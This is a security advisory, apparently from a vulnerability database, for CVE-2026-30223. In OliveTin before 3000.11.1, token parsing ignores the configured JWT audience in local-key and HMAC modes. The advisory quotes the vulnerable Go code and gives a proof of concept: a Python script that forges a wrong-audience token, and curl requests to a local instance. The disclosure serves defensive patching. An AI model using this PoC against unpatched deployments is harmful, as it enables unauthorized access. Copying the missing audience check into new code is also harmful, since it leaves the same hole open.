OliveTin has JWT Audience Validation Bypass in Local Key and HMAC Modes in github.com/OliveTin/OliveTin
OliveTin has JWT Audience Validation Bypass in Local Key and HMAC Modes in github.com/OliveTin/OliveTin
02 / AFFECTED SOFTWARE
Affected packages
120 explicit affected versions
03 / CONNECTIONS
Connected vulnerabilities
04 / EVIDENCE
Source records
OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.1, when JWT authentication is configured using either "authJwtPubKeyPath" (local RSA public key) or "authJwtHmacSecret" (HMAC secret), the configured audience value (authJwtAud) is not enforced during token parsing. As a result, validly signed JWT tokens with an incorrect aud claim are accepted for authentication. This allows authentication using tokens intended for a different audience/service. This issue has been patched in version 3000.11.1.
### Summary When JWT authentication is configured using either: - `authJwtPubKeyPath` (local RSA public key), or - `authJwtHmacSecret` (HMAC secret), the configured audience value (`authJwtAud`) is not enforced during token parsing. As a result, validly signed JWT tokens with an incorrect `aud` claim are accepted for authentication. This allows authentication using tokens intended for a different audience/service. ### Details **Affected Code** File: `jwt.go` Lines: 51–59, 144–157, 161–168 **Current Behavior** Remote JWKS Mode (Correct): ```go return jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud)) ``` Audience validation is enforced. Local Public Key Mode (Vulnerable): ```go return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... }) ``` No `jwt.WithAudience()` option is provided. HMAC Mode (Vulnerable): ```go return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... }) ``` No `jwt.WithAudience()` option is provided. **Why This Is Vulnerable:** `authJwtAud` is ignored for `authJwtPubKeyPath` and `authJwtHmacSecret` modes, so wrong-audience tokens are accepted. ### PoC 1. **Configure OliveTin** Use a minimal config with JWT local key authentication: ```yaml authJwtPubKeyPath: ./public.pem authJwtHeader: Authorization authJwtClaimUsername: sub authJwtAud: expected-audience authRequireGuestsToLogin: true ``` 2. **Generate a Wrong-Audience Token** ```python python3 - <<EOF import jwt, datetime with open("private.pem") as f: key = f.read() token = jwt.encode( { "sub": "low", "aud": "wrong-audience", # intentionally wrong "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=30) }, key, algorithm="RS256" ) print(token) EOF ``` This prints the `$WRONG_AUD_TOKEN`. 3. **Test Without Token (Baseline)** ```bash curl -i -X POST http://localhost:1337/api/WhoAmI \ -H 'Content-Type: application/json' \ -d '{}' ``` Expected response: ``` HTTP/1.1 401 Unauthorized ``` 4. **Test With Wrong-Audience Token** ```bash curl -i -X POST http://localhost:1337/api/WhoAmI \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $WRONG_AUD_TOKEN" \ -d '{}' ``` Expected response: ``` HTTP/1.1 200 OK {"authenticatedUser":"low","provider":"jwt","usergroup":"","acls":[],"sid":""} ``` Authentication succeeds even though the `aud` claim is incorrect. ### Impact An attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully. This enables: - Cross-service token reuse - Authentication using tokens issued for other systems - Trust boundary violation in multi-service environments This is particularly severe when: - OliveTin is deployed behind a centralized SSO provider - The same signing key is reused across services - Audience restrictions are relied upon for service isolation This does **not** bypass ACL authorization. It is strictly an authentication validation flaw.
OliveTin has JWT Audience Validation Bypass in Local Key and HMAC Modes in github.com/OliveTin/OliveTin
05 / REFERENCES
Further evidence
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/30xxx/CVE-2026-30223.json
- https://github.com/OliveTin/OliveTin/commit/e97d8ecbd8d6ba468c418ca496fcd18f78131233
- https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1
- https://github.com/OliveTin/OliveTin/security/advisories/GHSA-g962-2j28-3cg9
- https://nvd.nist.gov/vuln/detail/CVE-2026-30223
- https://github.com/OliveTin/OliveTin